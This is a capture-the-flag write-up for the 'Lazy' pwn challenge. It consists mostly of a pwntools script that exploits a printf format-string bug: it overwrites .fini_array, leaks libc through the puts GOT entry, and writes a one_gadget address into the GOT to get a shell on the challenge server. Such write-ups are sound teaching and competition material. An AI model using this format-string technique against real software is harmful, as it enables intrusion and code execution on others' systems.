# Pwn/Lazy (23 solves / 209 points)
## Description:Perhaps printf can do more than just read from the stack. I was too lazy to find out though. There’s not even a reference to the flag anyway. Do you think you GOT this? Connect at`nc lazy.litctf.live 1337`.
[lazy_pwn.zip](https://drive.google.com/uc?export=download&id=1AlOY4JrxyFbUQvihghInlhB7tmdY0jT_)!
## Solution:```from pwn import *
elf = ELF("lazy")libc = ELF("libc-2.31.so")#conn = elf.process()conn = remote("lazy.litctf.live", 1337)
# overwrite _fini_array with main()fini = 0x0000000004031c8# overwrite char by char because we dont wanna get huge chunks of text from serverpayload = b"%17c%12$hhn%47c%11$hhn%18c%13$hhnb%14$se" + p64(fini+2) + p64(fini+1) + p64(fini) + p64(elf.got['puts'])log.info("Overwriting .fini_array with main() to get a second pass, also leaking libc")conn.sendlineafter("?\n", payload)
conn.recvuntil('b') # identify leakleak = u64(conn.recvuntil('e')[:-1] + b'\x00\x00') # unpack leaklog.info("puts() libc: " + hex(leak))libc.address = leak - libc.symbols['puts']log.info("libc base: " + hex(libc.address))
one_gadget = libc.address + 0xcbd1a # one_gadget libc-2.31.sogadget_lower = one_gadget % 16**4gadget_upper = (one_gadget >> 16) % 16**4diff = gadget_upper - gadget_lowerlog.info("one_gadget: " + hex(one_gadget))
log.info("Writing address of one_gadget to puts() GOT")if diff > 0: # write the smaller one first  payload = b"%" + str(gadget_lower).encode() + b"c%10$hn%" + str(diff).encode() +  b"c%11$hn      " + p64(elf.got['puts']) + p64(elf.got['puts']+2)  if len(payload) == 47:    payload = b"%" + str(gadget_lower).encode() + b"c%9$hn%" + str(diff).encode() +  b"c%10$hn" + p64(elf.got['puts']) + p64(elf.got['puts']+2)else:  payload = b"%" + str(gadget_upper).encode() + b"c%10$hn%" + str(abs(diff)).encode() +  b"c%11$hn      " + p64(elf.got['puts']+2) + p64(elf.got['puts'])  if len(payload) == 47:    payload = b"%" + str(gadget_upper).encode() + b"c%9$hn%" + str(abs(diff)).encode() +  b"c%10$hn" + p64(elf.got['puts']+2) + p64(elf.got['puts'])
conn.sendline(payload)conn.recvuntil('\x00') # clean up outputconn.recv(5)
conn.interactive()```